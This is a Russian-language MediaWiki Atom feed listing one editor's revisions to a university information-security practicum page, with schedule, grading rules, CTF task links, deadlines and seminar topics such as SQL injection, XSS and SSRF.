<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://course.secsem.ru/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=WGH</id>
	<title>SecSem Wiki - Вклад [ru]</title>
	<link rel="self" type="application/atom+xml" href="https://course.secsem.ru/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=WGH"/>
	<link rel="alternate" type="text/html" href="https://course.secsem.ru/wiki/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%92%D0%BA%D0%BB%D0%B0%D0%B4/WGH"/>
	<updated>2026-04-14T09:18:24Z</updated>
	<subtitle>Вклад</subtitle>
	<generator>MediaWiki 1.43.3</generator>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=944</id>
		<title>Практикум на ЭВМ (2025)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=944"/>
		<updated>2025-12-08T23:08:13Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */ таски на pwn&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 391 и 392.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам 12:50, &lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 790&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 392, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2025/2026 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
Доступ к заданиям осуществляется через VPN, доступы к которому можно получить у старосты. &lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2025)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://shop.tasks.prak.seclab.cs.msu.ru/  (deadline - 14.11.2024 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.12.2025 23:43)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2025 reverse tasks.zip|Задания по реверсу]] (deadline - 17.12.2025 23:59:59.999999 MSK)&lt;br /&gt;
* [[Media:2025 pwn tasks.zip|Задания по бинарной эксплутации]] (deadline - 23.12.2025 23:59:59)&lt;br /&gt;
* [https://drive.google.com/file/d/1QcgUUOuKrBB0zce9Er5OCAPIVTQ5jig5/view?usp=sharing task 2]  &amp;lt;code&amp;gt;nc fdca:22c8:7316::1 16966&amp;lt;/code&amp;gt;   (deadline - 23.12.2025 23:59:59)&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (15 сентября 2025) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (22 сентября 2025) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (29 сентября 2025) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (6 октября 2025) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (13 октября 2025) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (20 октября 2025) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (27 октября 2025) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (10 ноября 2025) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2025_pwn_tasks.zip&amp;diff=943</id>
		<title>Файл:2025 pwn tasks.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2025_pwn_tasks.zip&amp;diff=943"/>
		<updated>2025-12-08T23:07:51Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=942</id>
		<title>Практикум на ЭВМ (2025)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=942"/>
		<updated>2025-12-08T23:00:22Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */ викиформатирование&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 391 и 392.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам 12:50, &lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 790&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 392, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2025/2026 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
Доступ к заданиям осуществляется через VPN, доступы к которому можно получить у старосты. &lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2025)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://shop.tasks.prak.seclab.cs.msu.ru/  (deadline - 14.11.2024 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.12.2025 23:43)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2025 reverse tasks.zip|Задания по реверсу]] (deadline - 17.12.2025 23:59:59.999999 MSK)&lt;br /&gt;
&amp;lt;!-- * [[Media:2023 pwn tasks.tar.gz|Задания по бинарной эксплутации]] (deadline - 17.12.2023 23:59:59.999999 MSK) --&amp;gt;&lt;br /&gt;
* [https://drive.google.com/file/d/1QcgUUOuKrBB0zce9Er5OCAPIVTQ5jig5/view?usp=sharing task 2]  &amp;lt;code&amp;gt;nc fdca:22c8:7316::1 16966&amp;lt;/code&amp;gt;   (deadline - 23.12.2025 23:59:59)&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (15 сентября 2025) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (22 сентября 2025) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (29 сентября 2025) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (6 октября 2025) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (13 октября 2025) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (20 октября 2025) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (27 октября 2025) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (10 ноября 2025) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=940</id>
		<title>Практикум на ЭВМ (2025)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=940"/>
		<updated>2025-12-03T07:05:20Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */ 2023 -&amp;gt; 2025&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 391 и 392.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам 12:50, &lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 790&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 392, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2025/2026 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
Доступ к заданиям осуществляется через VPN, доступы к которому можно получить у старосты. &lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2025)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://shop.tasks.prak.seclab.cs.msu.ru/  (deadline - 14.11.2024 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.12.2025 23:43)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2025 reverse tasks.zip|Задания по реверсу]] (deadline - 17.12.2025 23:59:59.999999 MSK)&lt;br /&gt;
&amp;lt;!-- * [[Media:2023 pwn tasks.tar.gz|Задания по бинарной эксплутации]] (deadline - 17.12.2023 23:59:59.999999 MSK) --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (15 сентября 2025) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (22 сентября 2025) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (29 сентября 2025) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (6 октября 2025) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (13 октября 2025) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (20 октября 2025) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (27 октября 2025) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (10 ноября 2025) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=939</id>
		<title>Практикум на ЭВМ (2025)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=939"/>
		<updated>2025-12-02T23:53:32Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 391 и 392.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам 12:50, &lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 790&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 392, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2025/2026 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
Доступ к заданиям осуществляется через VPN, доступы к которому можно получить у старосты. &lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2025)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://shop.tasks.prak.seclab.cs.msu.ru/  (deadline - 14.11.2024 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.12.2025 23:43)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2025 reverse tasks.zip|Задания по реверсу]] (deadline - 17.12.2023 23:59:59.999999 MSK)&lt;br /&gt;
&amp;lt;!-- * [[Media:2023 pwn tasks.tar.gz|Задания по бинарной эксплутации]] (deadline - 17.12.2023 23:59:59.999999 MSK) --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (15 сентября 2025) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (22 сентября 2025) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (29 сентября 2025) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (6 октября 2025) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (13 октября 2025) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (20 октября 2025) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (27 октября 2025) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (10 ноября 2025) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2025_reverse_tasks.zip&amp;diff=938</id>
		<title>Файл:2025 reverse tasks.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2025_reverse_tasks.zip&amp;diff=938"/>
		<updated>2025-12-02T23:52:47Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=MediaWiki:Vector.css&amp;diff=900</id>
		<title>MediaWiki:Vector.css</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=MediaWiki:Vector.css&amp;diff=900"/>
		<updated>2025-09-06T17:08:07Z</updated>

		<summary type="html">&lt;p&gt;WGH: Полностью удалено содержимое страницы&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=819</id>
		<title>Практикум на ЭВМ (2023)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=819"/>
		<updated>2023-12-04T17:41:44Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */ december&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 706&lt;br /&gt;
